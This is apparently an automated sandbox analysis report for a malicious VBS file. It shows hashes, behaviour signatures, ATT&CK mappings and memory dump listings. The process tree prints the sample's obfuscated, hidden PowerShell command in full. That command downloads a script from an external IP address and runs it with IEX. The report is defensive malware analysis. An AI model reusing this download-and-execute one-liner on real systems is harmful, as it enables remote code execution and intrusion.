551aa52e13e8dcb3fbfc476d7bd3eaf46ceeaebcffca2cc72b62ec76625be71e

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
28/01/2025, 12:17

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General

Target

551aa52e13e8dcb3fbfc476d7bd3eaf46ceeaebcffca2cc72b62ec76625be71e.vbs
Size

6KB
MD5

2cac56c224c4fe93c8133ce8997d6698
SHA1

b02d87284e587e5b59af0ed6d984faf5d05c687d
SHA256

551aa52e13e8dcb3fbfc476d7bd3eaf46ceeaebcffca2cc72b62ec76625be71e
SHA512

20565ec2837975a30b2b9bafb92e33082360f34c5ab1c3ce6eba0c138d0af5a4311ef71ee35c6fd845b445aaf5e5746ce17f9b6033019390de2041b53dbb3e4e
SSDEEP

48:edClIClIClIClIClIClIClIClIClIClIClIClIClIClIClIClIClIClIClIClICX:eLPXyTuGZOrHTu5Vibru

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1736	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1736	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1736	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1736	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2452 wrote to memory of 1736	2452	WScript.exe	31
PID 2452 wrote to memory of 1736	2452	WScript.exe	31
PID 2452 wrote to memory of 1736	2452	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\551aa52e13e8dcb3fbfc476d7bd3eaf46ceeaebcffca2cc72b62ec76625be71e.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI Sleep 2;[BYTe[]];$LNxzdRYufhOZ='IeX(NeW-OBJeCT NeT.W';$ykcbidfsOtpw='eBCLIeNT).DOWNLO';$qlwvdNoWtnfz='repoooos(''http://81.10.39.58:8080/test//Update.php'')'.RePLACe('repoooos','ADSTRING');Sleep 1;IeX($LNxzdRYufhOZ+$ykcbidfsOtpw+$qlwvdNoWtnfz);
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1736-4-0x000007FEF5ABE000-0x000007FEF5ABF000-memory.dmp

Filesize
4KB

Download
memory/1736-5-0x000000001B7E0000-0x000000001BAC2000-memory.dmp

Filesize
2.9MB

Download
memory/1736-6-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/1736-7-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

Filesize
9.6MB

Download
memory/1736-8-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

Filesize
9.6MB

Download
memory/1736-13-0x000007FEF5ABE000-0x000007FEF5ABF000-memory.dmp

Filesize
4KB

Download
memory/1736-14-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

Filesize
9.6MB

Download
memory/1736-15-0x000007FEF5800000-0x000007FEF619D000-memory.dmp

Filesize
9.6MB

Download